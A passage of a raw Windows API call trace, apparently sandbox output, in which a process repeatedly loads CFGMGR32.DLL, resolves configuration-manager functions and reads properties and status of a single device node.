lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3a7c05fe, dwHighDateTime=0x1d9eb0c)) [0212.594] SetEvent (hEvent=0x248) returned 1 [0212.597] malloc (_Size=0xd8) returned 0x20abc2867b0 [0212.597] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0212.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0212.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0212.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0212.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0212.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0212.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0212.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0212.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0212.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0212.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0212.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0212.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0212.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0212.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0212.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0212.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0212.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0212.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0212.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0212.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0212.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0212.600] malloc (_Size=0x18) returned 0x20abc2819a0 [0212.600] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0212.732] malloc (_Size=0x48) returned 0x20abc27cb20 [0212.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3a8f189a, dwHighDateTime=0x1d9eb0c)) [0212.765] SetEvent (hEvent=0x248) returned 1 [0212.768] malloc (_Size=0xd8) returned 0x20abc2867b0 [0212.768] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0212.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0212.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0212.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0212.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0212.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0212.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0212.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0212.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0212.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0212.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0212.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0212.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0212.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0212.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0212.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0212.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0212.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0212.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0212.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0212.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0212.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0212.772] malloc (_Size=0x18) returned 0x20abc281ea0 [0212.772] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0212.772] malloc (_Size=0x48) returned 0x20abc27cf80 [0212.772] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3a964857, dwHighDateTime=0x1d9eb0c)) [0212.772] SetEvent (hEvent=0x248) returned 1 [0212.777] malloc (_Size=0xd8) returned 0x20abc2867b0 [0212.777] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0212.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0212.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0212.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0212.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0212.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0212.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0212.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0212.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0212.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0212.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0212.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0212.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0212.779] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0212.779] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0212.779] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0212.779] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0212.779] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0212.779] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0212.779] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0212.780] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0212.780] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0212.780] malloc (_Size=0x18) returned 0x20abc282060 [0212.780] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0212.781] malloc (_Size=0x48) returned 0x20abc27cb20 [0212.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3a98a51a, dwHighDateTime=0x1d9eb0c)) [0212.781] SetEvent (hEvent=0x248) returned 1 [0212.784] malloc (_Size=0xd8) returned 0x20abc2867b0 [0212.784] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0212.784] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0212.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0212.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0212.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0212.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0212.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0212.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0212.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0212.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0212.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0212.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0212.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0212.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0212.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0212.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0212.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0212.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0212.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0212.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0212.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0212.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0212.787] malloc (_Size=0x18) returned 0x20abc281a80 [0212.787] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0212.788] malloc (_Size=0x48) returned 0x20abc27cb20 [0212.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3a98a51a, dwHighDateTime=0x1d9eb0c)) [0212.788] SetEvent (hEvent=0x248) returned 1 [0212.794] malloc (_Size=0xd8) returned 0x20abc2867b0 [0212.794] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0212.794] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0212.794] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0212.794] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0212.795] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0212.795] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0212.795] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0212.795] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0212.795] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0212.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0212.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0212.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0212.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0212.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0212.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0212.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0212.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0212.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0212.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0212.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0212.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0212.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0212.799] malloc (_Size=0x18) returned 0x20abc281f80 [0212.799] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0212.802] malloc (_Size=0x48) returned 0x20abc27cb20 [0212.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3a9b068b, dwHighDateTime=0x1d9eb0c)) [0212.802] SetEvent (hEvent=0x248) returned 1 [0212.807] malloc (_Size=0xd8) returned 0x20abc2867b0 [0212.807] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0212.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0212.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0212.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0212.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0212.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0212.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0212.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0212.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0212.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0212.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0212.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0212.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0212.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0212.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0212.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0212.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0212.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0212.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0212.811] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0212.811] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0212.811] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0212.965] malloc (_Size=0x18) returned 0x20abc282000 [0212.965] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x34, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0212.967] malloc (_Size=0x48) returned 0x20abc27cb20 [0212.967] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x3ab2db6a, dwHighDateTime=0x1d9eb0c)) [0212.967] SetEvent (hEvent=0x248) returned 1 [0212.973] malloc (_Size=0xd8) returned 0x20abc2867b0 [0212.973] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0212.974] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0212.974] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0212.974] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0212.974] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0212.974] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0212.974] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0212.974] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0212.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0212.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0212.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0212.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0212.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0212.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0212.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0212.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0212.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0212.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0212.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0212.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0212.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0212.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0212.976] malloc (_Size=0x18) returned 0x20abc281d20 [0212.977] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x34, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0212.977] malloc (_Size=0x48) returned 0x20abc27cf80 [0212.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x3ab53f8b, dwHighDateTime=0x1d9eb0c)) [0212.977] SetEvent (hEvent=0x248) returned 1 [0212.981] malloc (_Size=0xd8) returned 0x20abc2867b0 [0212.981] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0212.981] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0212.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0212.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0212.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0212.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0212.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0212.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0212.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0212.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0212.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0212.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0212.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0212.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0212.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0212.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0212.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0212.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0212.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0212.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0212.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0212.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0212.985] malloc (_Size=0x18) returned 0x20abc281cc0 [0212.985] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0212.985] malloc (_Size=0x48) returned 0x20abc27cf80 [0212.986] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3ab79fcb, dwHighDateTime=0x1d9eb0c)) [0212.986] SetEvent (hEvent=0x248) returned 1 [0212.994] malloc (_Size=0xd8) returned 0x20abc2867b0 [0212.994] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 